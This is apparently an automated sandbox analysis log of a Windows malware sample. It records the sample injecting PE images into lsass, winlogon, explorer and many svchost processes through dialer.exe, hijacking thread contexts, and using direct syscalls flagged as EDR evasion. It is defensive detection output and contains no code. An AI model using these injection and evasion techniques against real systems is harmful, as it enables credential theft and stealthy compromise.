Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 48172908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 92372908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 22AD2908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 28E82908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 92572908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 3DA92908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: BCF12908
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 9AD52908
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 8C362908
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 854A2908
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 6C082908
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: E9542908
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 418A2908
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 14D02908
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 1FF42908
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: D3732908
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 9C5B2908
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 4772908
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 3F82908
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 8FFB2908
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 855A2908
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 5E1C2908
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 80022908
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\spoolsv.exe EIP: E62908
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: EB132908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 49582908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: CE1B2908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 1A002908
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\svchost.exe EIP: 1AE32908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 873D2908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 7E342908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 17282908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 3B962908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 42B32908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 16862908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 5732908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: EAE2908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: FF4E2908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 9FC2908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 6A02908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 4FFA2908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: A5A72908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 18D62908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: DFD32908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: A1982908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 3D512908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 88D42908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 8EC2908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 72BA2908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 2C042908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 55D62908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: DC3D2908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 541C2908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 142B2908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: E6D72908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: B0562908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 434A2908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 18D72908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 33322908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 683C2908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 7CB92908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 3DA82908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 21382908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 44C02908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: B4772908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: FC742908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 3F802908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 71972908
Source: C:\Windows\System32\dialer.exe Thread created: C:\Windows\System32\conhost.exe EIP: 81DA2908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 1A072908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 13BC2908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: BD162908
Source: C:\Windows\System32\dialer.exe Thread created: unknown EIP: 8C172908
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe NtAdjustPrivilegesToken: Direct from: 0x7FF6DD485C5E Jump to behavior
Source: C:\Users\user\Desktop\h2qWqtD73F.exe NtQuerySystemInformation: Direct from: 0x7FF752A45C5E Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\winlogon.exe base: 2EA8A660000 value starts with: 4D5A Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\lsass.exe base: 1CB338B0000 value starts with: 4D5A Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 26E02790000 value starts with: 4D5A Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\dwm.exe base: 1C6CEEE0000 value starts with: 4D5A Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 25304F80000 value starts with: 4D5A Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 16C21130000 value starts with: 4D5A Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 26F47BD0000 value starts with: 4D5A Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 29B91DD0000 value starts with: 4D5A Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 204227B0000 value starts with: 4D5A Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 20628780000 value starts with: 4D5A Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 182924D0000 value starts with: 4D5A Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe base: 28471250000 value starts with: 4D5A Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1BB3D3C0000 value starts with: 4D5A Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 29ABCEE0000 value starts with: 4D5A Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\winlogon.exe base: 2EA8A6E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\lsass.exe base: 1CB33910000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 26E033A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\dwm.exe base: 1C6CEF40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 25305540000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 16C21190000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 26F48170000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 29B92370000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 20422AD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 20628E80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 18292570000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1BB3DA90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 29ABCF10000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1CD9AD50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2AF8C360000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 145854A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2CC6C080000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1A6E9540000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2BC418A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 19D14D00000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2251FF40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 24CD3730000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2259C5B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 23504770000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 22903F80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2158FFB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1FD855A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2995E1C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2A880020000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\spoolsv.exe base: E60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1E5EB130000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 13949580000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 295CE1B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2251A000000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2481AE30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2D0873D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 2527E340000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 20217280000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 26C3B960000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1BB42B30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 19116860000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 28D05730000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1E30EAE0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 238FF4E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1D509FC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\sihost.exe base: 1DC06A00000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 15E4FFA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1C4A5A70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 14D18D60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 23CDFD30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1B7A1980000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\ctfmon.exe base: 1A53D510000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 19E88D40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\explorer.exe base: 8EC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 21C72BA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\dasHost.exe base: 1CF2C040000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2B555D60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 18EDC3D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 153541C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20B142B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\dllhost.exe base: 225E6D70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 195B0560000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\smartscreen.exe base: 219434A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2B118D70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F933320000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1F9683C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 1E47CB90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2673DA80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\conhost.exe base: 21A21380000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1CE44C00000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 155B4770000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 255FC740000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 22D3F800000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe base: 28471970000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1C3A67E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\conhost.exe base: 25E81DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1FC1A070000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 1AE13BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\conhost.exe base: 21FBD160000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 20C8C170000 value starts with: 4D5A
Injects code into the Windows Explorer (explorer.exe)
Source: C:\Windows\System32\dialer.exe Memory written: PID: 2592 base: 8EC0000 value: 4D
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\h2qWqtD73F.exe Section loaded: NULL target: C:\Windows\System32\dialer.exe protection: readonly Jump to behavior
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Section loaded: NULL target: C:\Windows\System32\dialer.exe protection: readonly Jump to behavior
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Section loaded: NULL target: unknown protection: readonly Jump to behavior
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Section loaded: NULL target: unknown protection: readonly Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\user\Desktop\h2qWqtD73F.exe Thread register set: target process: 8108 Jump to behavior
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Thread register set: target process: 7816 Jump to behavior
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Thread register set: target process: 1184 Jump to behavior
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Thread register set: target process: 1180 Jump to behavior
Writes to foreign memory regions
Source: C:\Users\user\Desktop\h2qWqtD73F.exe Memory written: C:\Windows\System32\dialer.exe base: 2B90112010 Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\winlogon.exe base: 2EA8A660000 Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\lsass.exe base: 1CB338B0000 Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 26E02790000 Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\dwm.exe base: 1C6CEEE0000 Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 25304F80000 Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 16C21130000 Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 26F47BD0000 Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 29B91DD0000 Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 204227B0000 Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 20628780000 Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 182924D0000 Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe base: 28471250000 Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1BB3D3C0000 Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 29ABCEE0000 Jump to behavior
Source: C:\Windows\System32\lsass.exe Memory written: C:\Windows\System32\svchost.exe base: 204227F0000 Jump to behavior
Source: C:\Windows\System32\lsass.exe Memory written: C:\Windows\System32\svchost.exe base: 2481ADF0000 Jump to behavior
Source: C:\Windows\System32\lsass.exe Memory written: C:\Windows\System32\svchost.exe base: 2481AA00000 Jump to behavior
Source: C:\Windows\System32\lsass.exe Memory written: C:\Windows\System32\svchost.exe base: 2481AA00000 Jump to behavior
Source: C:\Windows\System32\lsass.exe Memory written: C:\Windows\System32\svchost.exe base: 2481AA00000 Jump to behavior
Source: C:\Windows\System32\lsass.exe Memory written: C:\Windows\System32\svchost.exe base: 2481AA00000 Jump to behavior
Source: C:\Windows\System32\lsass.exe Memory written: C:\Windows\System32\svchost.exe base: 2481AA00000 Jump to behavior
Source: C:\Windows\System32\lsass.exe Memory written: C:\Windows\System32\svchost.exe base: 2481AA00000 Jump to behavior
Source: C:\Windows\System32\lsass.exe Memory written: C:\Windows\System32\svchost.exe base: 2481AA00000 Jump to behavior
Source: C:\Windows\System32\lsass.exe Memory written: C:\Windows\System32\svchost.exe base: 2481AA00000 Jump to behavior
Source: C:\Windows\System32\lsass.exe Memory written: C:\Windows\System32\svchost.exe base: 2481AA00000 Jump to behavior
Source: C:\Windows\System32\lsass.exe Memory written: C:\Windows\System32\svchost.exe base: 2481AA00000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Memory written: C:\Windows\System32\dialer.exe base: 28B4362010 Jump to behavior
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Memory written: C:\Windows\System32\dialer.exe base: 5D09B7E010 Jump to behavior
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Memory written: C:\Windows\System32\dialer.exe base: 5CC55C4010 Jump to behavior
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\winlogon.exe base: 2EA8A6E0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\lsass.exe base: 1CB33910000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 26E033A0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\dwm.exe base: 1C6CEF40000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 25305540000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 16C21190000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 26F48170000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 29B92370000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 20422AD0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 20628E80000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 18292570000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1BB3DA90000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 29ABCF10000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1CD9AD50000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2AF8C360000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 145854A0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2CC6C080000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1A6E9540000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2BC418A0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 19D14D00000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2251FF40000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 24CD3730000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2259C5B0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 23504770000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 22903F80000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2158FFB0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1FD855A0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2995E1C0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2A880020000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\spoolsv.exe base: E60000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1E5EB130000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 13949580000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 295CE1B0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2251A000000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2481AE30000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2D0873D0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 2527E340000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 20217280000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 26C3B960000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1BB42B30000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 19116860000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 28D05730000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1E30EAE0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 238FF4E0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1D509FC0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\sihost.exe base: 1DC06A00000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 15E4FFA0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1C4A5A70000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 14D18D60000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 23CDFD30000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 1B7A1980000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\ctfmon.exe base: 1A53D510000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 19E88D40000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\explorer.exe base: 8EC0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 21C72BA0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\dasHost.exe base: 1CF2C040000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2B555D60000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 18EDC3D0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 153541C0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20B142B0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\dllhost.exe base: 225E6D70000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 195B0560000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\smartscreen.exe base: 219434A0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2B118D70000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F933320000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1F9683C0000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 1E47CB90000
Source: C:\Windows\System32\dialer.exe Memory written: C:\Windows\System32\svchost.exe base: 2673DA80000
